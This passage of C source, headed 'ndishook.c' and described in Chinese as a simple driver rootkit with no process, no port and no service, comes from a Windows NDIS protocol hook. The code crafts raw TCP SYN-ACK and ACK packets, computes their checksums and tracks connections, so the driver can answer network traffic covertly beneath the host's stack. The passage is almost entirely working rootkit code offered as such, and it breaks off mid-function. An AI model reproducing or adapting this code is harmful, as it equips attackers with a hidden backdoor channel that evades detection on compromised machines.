ndishook.c

一个驱动上实现 无进程 无端口 无服务的简单rootkit

				}
			}
			
			NdisFreePacket(PAcket);
		}
		else{
			((SEND_COMPLETE_HANDLER)pOurContext->m_pOriginalProc)(
				ProtocolBindingContext,
				PAcket,
				StAtus
				);
		}
	}
}
//--------------------------------------------------------------------
USHORT checksum(USHORT *buff, ULONG size)
{
	unsigned long cksum=0;
	while (size > 1)
	{
		cksum += *buff++;
		size -= sizeof(USHORT); 
	}
	if (size)
	{
		cksum += *(UCHAR*)buff; 
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16); 
	return (USHORT)(~cksum); 
}
//--------------------------------------------------------------------
/*not used*/
NTSTATUS SendSYNACKPAcket(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer)
{
	PETHHDR		pEthHdr = NULL;
	PIPHDR		pIpHdr	= NULL;
	PTCPHDR		pTcpHdr = NULL;

	PVOID			VirtuAlAddress = NULL;
	PNDIS_BUFFER	pNdisBuffer	= NULL;
	PNDIS_PACKET	pNdisPAcket	= NULL;
	PETHHDR			pEthHdrSend = NULL;
	PIPHDR			pIpHdrSend	= NULL;
	PTCPHDR			pTcpHdrSend	= NULL;
	
	PVOID			ChecksumTempBuff = NULL;
	PSDHDR			PsdHdrSend;

	NTSTATUS		stAtus;

	//SYNACKPACKET		SynAckPAcket;
	PTCPS_Connection	pConnection = NULL;
	ULONG				i;
	
	//DbgPrint("receive syn pAcket\n");//
	pEthHdr = (PETHHDR)pBuffer;
	pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR));
	pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);
	//ChecksumTempBuff 为了计算效验和
	NdisAllocateMemoryWithTag(
		&ChecksumTempBuff,
		MAX_PACKET_SIZE,
		'pmtU'
		);
	NdisAllocateMemoryWithTag(
		&VirtuAlAddress,
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR),
		'ytaU'
		);
	NdisZeroMemory(
		VirtuAlAddress,
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)
		);
	
	//填包
	pEthHdrSend		= VirtuAlAddress;
	pIpHdrSend		= (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR));
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR));
	
	NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6);
	NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6);
	pEthHdrSend->h_proto	= pEthHdr->h_proto;
	
	pIpHdrSend->ihl			= pIpHdr->ihl;
	pIpHdrSend->version		= pIpHdr->version;
	pIpHdrSend->tos			= pIpHdr->tos;
	pIpHdrSend->tot_len		= HTONS(sizeof(IPHDR)+sizeof(TCPHDR));
	pIpHdrSend->id			= 0;
	pIpHdrSend->frag_off	= 0;
	pIpHdrSend->ttl			= 255;
	pIpHdrSend->protocol	= IPPROTO_TCP;
	pIpHdrSend->check		= 0;//whAt
	pIpHdrSend->saddr		= pIpHdr->daddr;
	pIpHdrSend->daddr		= pIpHdr->saddr;
	pIpHdrSend->check		= checksum((USHORT*)pIpHdrSend,sizeof(IPHDR));
	
	pTcpHdrSend->source		= pTcpHdr->dest;
	pTcpHdrSend->dest		= pTcpHdr->source;
	pTcpHdrSend->seq		= pTcpHdr->seq+500;//HTONL(200);//任意
	pTcpHdrSend->ack_seq	= HTONL(NTOHL(pTcpHdr->seq)+1);//seq+1
	pTcpHdrSend->doff		= sizeof(TCPHDR)/4;
	pTcpHdrSend->syn		= 1;
	pTcpHdrSend->ack		= 1;
	pTcpHdrSend->window		= pTcpHdr->window;
	pTcpHdrSend->check		= 0;
	pTcpHdrSend->urg_ptr	= 0;
	
	
	PsdHdrSend.saddr	= pIpHdrSend->saddr;
	PsdHdrSend.daddr	= pIpHdrSend->daddr;
	PsdHdrSend.mbz		= 0;
	PsdHdrSend.ptcl		= IPPROTO_TCP;
	PsdHdrSend.tcpl		= HTONS(sizeof(TCPHDR));
	
	NdisMoveMemory(ChecksumTempBuff,&PsdHdrSend,sizeof(PSDHDR));
	NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdrSend,sizeof(TCPHDR));
	
	pTcpHdrSend->check	 = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR));
	
	
	NdisFreeMemory(
		ChecksumTempBuff,
		0,
		0
		);


	////
	for(i = 0;i < MAX_CONNECTIONS;i ++){
		if((g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->dest) && (g_ConnectionSpAce[i].m_SourceIp == pIpHdr->daddr)){
			pConnection = &g_ConnectionSpAce[i];
			pConnection->m_ExpectedSeq		= pTcpHdrSend->ack_seq;//////////
			pConnection->m_ExpectedAck_seq	= HTONL(NTOHL(pTcpHdrSend->seq) + 1);////////////
			break;
		}
	}
	if(pConnection == NULL){
		DbgPrint("error in SendSYNACKPAcket,cAn not find the right connection\n");
	}
	
	//准备发送
	NdisAllocateBuffer(
		&stAtus,
		&pNdisBuffer,
		m_ourBufferPoolHAndle,
		VirtuAlAddress,
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)
		);
	if(stAtus != NDIS_STATUS_SUCCESS){
		//DbgPrint("NdisAllocAteBuffer fAiled\n");
		return TRUE;
	}
	NdisAllocatePacket(
		&stAtus,
		&pNdisPAcket,
		m_ourPAcketPoolHAndle
		);
	if(stAtus != NDIS_STATUS_SUCCESS){
		//DbgPrint("NdisAllocAtePAcket fAiled\n");
		return TRUE;
	}
	//pNdisPAcket->ProtocolReserved = (UCHAR)VirtuAlAddress;
	//SynAckPAcket.sign = 0xAAAAAAAA;
	//SynAckPAcket.BufferAddress = (ULONG)VirtuAlAddress;
	//NdisMoveMemory(&pNdisPAcket->ProtocolReserved,&SynAckPAcket,sizeof(SYNACKPACKET));
	//DbgPrint("buffer(before send): %x\n",(ULONG)VirtuAlAddress);
	NdisChainBufferAtFront(
		pNdisPAcket,
		pNdisBuffer
		);
	NdisSendPackets(
		pOurContext->m_pBindAdaptHandle,
		&pNdisPAcket,
		1
		);
	return NDIS_STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS SendSYNACKPAcketToSendList(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer)
{
	PETHHDR		pEthHdr = NULL;
	PIPHDR		pIpHdr	= NULL;
	PTCPHDR		pTcpHdr = NULL;

	PVOID			VirtuAlAddress = NULL;
	PETHHDR			pEthHdrSend = NULL;
	PIPHDR			pIpHdrSend	= NULL;
	PTCPHDR			pTcpHdrSend	= NULL;

	ULONG			ulTotAlLength;

	NTSTATUS		stAtus;
	ULONG			i;

	PTCPS_Connection pConnection;
	
	pEthHdr = (PETHHDR)pBuffer;
	pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR));
	pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);

	DbgPrint("received SYN pAcket,source port is %d\n",NTOHS(pTcpHdr->source));

	ulTotAlLength = sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR);

	NdisAllocateMemoryWithTag(
		&VirtuAlAddress,
		ulTotAlLength,
		'ytaU'
		);
	NdisZeroMemory(
		VirtuAlAddress,
		ulTotAlLength
		);
	
	//填包
	pEthHdrSend		= VirtuAlAddress;
	pIpHdrSend		= (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR));
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR));
	
	NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6);
	NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6);
	pEthHdrSend->h_proto	= pEthHdr->h_proto;
	
	pIpHdrSend->ihl			= pIpHdr->ihl;
	pIpHdrSend->version		= pIpHdr->version;
	pIpHdrSend->tos			= pIpHdr->tos;
	pIpHdrSend->tot_len		= HTONS(sizeof(IPHDR)+sizeof(TCPHDR));
	pIpHdrSend->id			= 0;
	pIpHdrSend->frag_off	= 0;
	pIpHdrSend->ttl			= 255;
	pIpHdrSend->protocol	= IPPROTO_TCP;
	pIpHdrSend->check		= 0;
	pIpHdrSend->saddr		= pIpHdr->daddr;
	pIpHdrSend->daddr		= pIpHdr->saddr;
	pIpHdrSend->check		= checksum((USHORT*)pIpHdrSend,sizeof(IPHDR));
	
	pTcpHdrSend->source		= pTcpHdr->dest;
	pTcpHdrSend->dest		= pTcpHdr->source;
	pTcpHdrSend->seq		= pTcpHdr->seq+500;//HTONL(200);//任意
	pTcpHdrSend->ack_seq	= HTONL(NTOHL(pTcpHdr->seq)+1);//seq+1
	pTcpHdrSend->doff		= sizeof(TCPHDR)/4;
	pTcpHdrSend->syn		= 1;
	pTcpHdrSend->ack		= 1;
	pTcpHdrSend->window		= pTcpHdr->window;
	pTcpHdrSend->check		= 0;
	pTcpHdrSend->urg_ptr	= 0;
	


	for(i = 0;i < MAX_CONNECTIONS;i ++){
		//通过ip和源端口判断是哪个连接
		if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source 
			&& g_ConnectionSpAce[i].m_SourceIp == pIpHdr->saddr
			)
		{
			pConnection = &g_ConnectionSpAce[i];
			break;
		}
	}
	

	//把数据加入到链表
	DbgPrint("AddSendDAtAToList\n");
	AddSendDAtAToList(
		&g_SendListHeAd,
		VirtuAlAddress,
		ulTotAlLength,
		pConnection
		);

	//释放空间
	NdisFreeMemory(
		VirtuAlAddress,
		0,
		0
		);
	
	
	return NDIS_STATUS_SUCCESS;
}
//--------------------------------------------------------------------
/*not used*/
NTSTATUS SendACKPAcket(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer)
{
	PETHHDR		pEthHdr = NULL;
	PIPHDR		pIpHdr	= NULL;
	PTCPHDR		pTcpHdr = NULL;

	PVOID			VirtuAlAddress = NULL;
	PNDIS_BUFFER	pNdisBuffer	= NULL;
	PNDIS_PACKET	pNdisPAcket	= NULL;
	PETHHDR			pEthHdrSend = NULL;
	PIPHDR			pIpHdrSend	= NULL;
	PTCPHDR			pTcpHdrSend	= NULL;
	
	PVOID			ChecksumTempBuff = NULL;
	PSDHDR			PsdHdrSend;

	NTSTATUS		stAtus;
	
	pEthHdr = (PETHHDR)pBuffer;
	pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR));
	pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);
	//ChecksumTempBuff 为了计算效验和
	NdisAllocateMemoryWithTag(
		&ChecksumTempBuff,
		MAX_PACKET_SIZE,
		'pmtU'
		);
	NdisAllocateMemoryWithTag(
		&VirtuAlAddress,
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR),
		'ytaU'
		);
	NdisZeroMemory(
		VirtuAlAddress,
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)
		);
	
	//填包
	pEthHdrSend		= VirtuAlAddress;
	pIpHdrSend		= (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR));
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR));
	
	NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6);
	NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6);
	pEthHdrSend->h_proto	= pEthHdr->h_proto;
	
	pIpHdrSend->ihl			= pIpHdr->ihl;
	pIpHdrSend->version		= pIpHdr->version;
	pIpHdrSend->tos			= pIpHdr->tos;
	pIpHdrSend->tot_len		= HTONS(sizeof(IPHDR)+sizeof(TCPHDR));
	pIpHdrSend->id			= 0;
	pIpHdrSend->frag_off	= 0;
	pIpHdrSend->ttl			= 255;
	pIpHdrSend->protocol	= IPPROTO_TCP;
	pIpHdrSend->check		= 0;
	pIpHdrSend->saddr		= pIpHdr->daddr;
	pIpHdrSend->daddr		= pIpHdr->saddr;
	pIpHdrSend->check		= checksum((USHORT*)pIpHdrSend,sizeof(IPHDR));
	
	pTcpHdrSend->source		= pTcpHdr->dest;
	pTcpHdrSend->dest		= pTcpHdr->source;
	pTcpHdrSend->seq		= pTcpHdr->ack_seq;
	pTcpHdrSend->ack_seq	= HTONL(NTOHL(pTcpHdr->seq)+(NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR)));//seq+DAtALength
	pTcpHdrSend->doff		= sizeof(TCPHDR)/4;
	//pTcpHdrSend->syn		= 1;
	pTcpHdrSend->ack		= 1;
	pTcpHdrSend->window		= pTcpHdr->window;
	pTcpHdrSend->check		= 0;
	pTcpHdrSend->urg_ptr	= 0;
	
	
	PsdHdrSend.saddr	= pIpHdrSend->saddr;
	PsdHdrSend.daddr	= pIpHdrSend->daddr;
	PsdHdrSend.mbz		= 0;
	PsdHdrSend.ptcl		= IPPROTO_TCP;
	PsdHdrSend.tcpl		= HTONS(sizeof(TCPHDR));
	
	NdisMoveMemory(ChecksumTempBuff,&PsdHdrSend,sizeof(PSDHDR));
	NdisMoveMemory((UCHAR*)ChecksumTempBuff + sizeof(PSDHDR),pTcpHdrSend,sizeof(TCPHDR));
	
	pTcpHdrSend->check	 = checksum((USHORT*)ChecksumTempBuff,sizeof(PSDHDR)+sizeof(TCPHDR));
	
	
	NdisFreeMemory(
		ChecksumTempBuff,
		0,
		0
		);
	
	//准备发送
	NdisAllocateBuffer(
		&stAtus,
		&pNdisBuffer,
		m_ourBufferPoolHAndle,
		VirtuAlAddress,
		sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)
		);
	if(stAtus != NDIS_STATUS_SUCCESS){
		//DbgPrint("NdisAllocAteBuffer fAiled\n");
		return TRUE;
	}
	NdisAllocatePacket(
		&stAtus,
		&pNdisPAcket,
		m_ourPAcketPoolHAndle
		);
	if(stAtus != NDIS_STATUS_SUCCESS){
		//DbgPrint("NdisAllocAtePAcket fAiled\n");
		return TRUE;
	}
	//pNdisPAcket->ProtocolReserved = (UCHAR)VirtuAlAddress;
	NdisMoveMemory(&pNdisPAcket->ProtocolReserved,&VirtuAlAddress,4);
	//DbgPrint("buffer(before send): %x\n",(ULONG)VirtuAlAddress);
	NdisChainBufferAtFront(
		pNdisPAcket,
		pNdisBuffer
		);
	NdisSendPackets(
		pOurContext->m_pBindAdaptHandle,
		&pNdisPAcket,
		1
		);
	return NDIS_STATUS_SUCCESS;
}
//--------------------------------------------------------------------
NTSTATUS SendACKPAcketToSendList(HOOK_CONTEXT_STRUCT *pOurContext,PVOID pBuffer)
{
	PETHHDR		pEthHdr = NULL;
	PIPHDR		pIpHdr	= NULL;
	PTCPHDR		pTcpHdr = NULL;

	PVOID			VirtuAlAddress = NULL;
	PETHHDR			pEthHdrSend = NULL;
	PIPHDR			pIpHdrSend	= NULL;
	PTCPHDR			pTcpHdrSend	= NULL;
	PVOID			pDAtA		= NULL;

	ULONG			ulTotAlLength;

	NTSTATUS		stAtus;
	ULONG			i;

	PTCPS_Connection pConnection;
	
	pEthHdr = (PETHHDR)pBuffer;
	pIpHdr = (PIPHDR)((UCHAR*)pBuffer + sizeof(ETHHDR));
	pTcpHdr = (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);

	ulTotAlLength = sizeof(ETHHDR)+sizeof(IPHDR)+sizeof(TCPHDR)+1;//一个字节数据 

	NdisAllocateMemoryWithTag(
		&VirtuAlAddress,
		ulTotAlLength,
		'ytaU'
		);
	NdisZeroMemory(
		VirtuAlAddress,
		ulTotAlLength
		);
	
	//填包
	pEthHdrSend		= VirtuAlAddress;
	pIpHdrSend		= (PIPHDR)((UCHAR*)VirtuAlAddress + sizeof(ETHHDR));
	pTcpHdrSend		= (PTCPHDR)((UCHAR*)pIpHdrSend + sizeof(IPHDR));
	pDAtA			= (PVOID)((UCHAR*)pTcpHdrSend + sizeof(TCPHDR));//heAder
	
	NdisMoveMemory(&pEthHdrSend->h_dest,&pEthHdr->h_source,6);
	NdisMoveMemory(&pEthHdrSend->h_source,&pEthHdr->h_dest,6);
	pEthHdrSend->h_proto	= pEthHdr->h_proto;
	
	pIpHdrSend->ihl			= pIpHdr->ihl;
	pIpHdrSend->version		= pIpHdr->version;
	pIpHdrSend->tos			= pIpHdr->tos;
	pIpHdrSend->tot_len		= HTONS(sizeof(IPHDR)+sizeof(TCPHDR)+1);
	pIpHdrSend->id			= 0;
	pIpHdrSend->frag_off	= 0;
	pIpHdrSend->ttl			= 255;
	pIpHdrSend->protocol	= IPPROTO_TCP;
	pIpHdrSend->check		= 0;
	pIpHdrSend->saddr		= pIpHdr->daddr;
	pIpHdrSend->daddr		= pIpHdr->saddr;
	pIpHdrSend->check		= checksum((USHORT*)pIpHdrSend,sizeof(IPHDR));
	
	pTcpHdrSend->source		= pTcpHdr->dest;
	pTcpHdrSend->dest		= pTcpHdr->source;
	pTcpHdrSend->seq		= pTcpHdr->ack_seq;
	pTcpHdrSend->ack_seq	= HTONL(NTOHL(pTcpHdr->seq)+(NTOHS(pIpHdr->tot_len) - pIpHdr->ihl*4 - sizeof(TCPHDR)));//seq+DAtALength
	pTcpHdrSend->doff		= sizeof(TCPHDR)/4;
	//pTcpHdrSend->syn		= 1;
	pTcpHdrSend->ack		= 1;
	pTcpHdrSend->psh		= 1;
	pTcpHdrSend->window		= pTcpHdr->window;
	pTcpHdrSend->check		= 0;
	pTcpHdrSend->urg_ptr	= 0;
	
	//填发送的数据
	NdisMoveMemory(pDAtA,"u",1);



	for(i = 0;i < MAX_CONNECTIONS;i ++){
		//通过ip和源端口判断是哪个连接
		if(g_ConnectionSpAce[i].m_SourcePort == pTcpHdr->source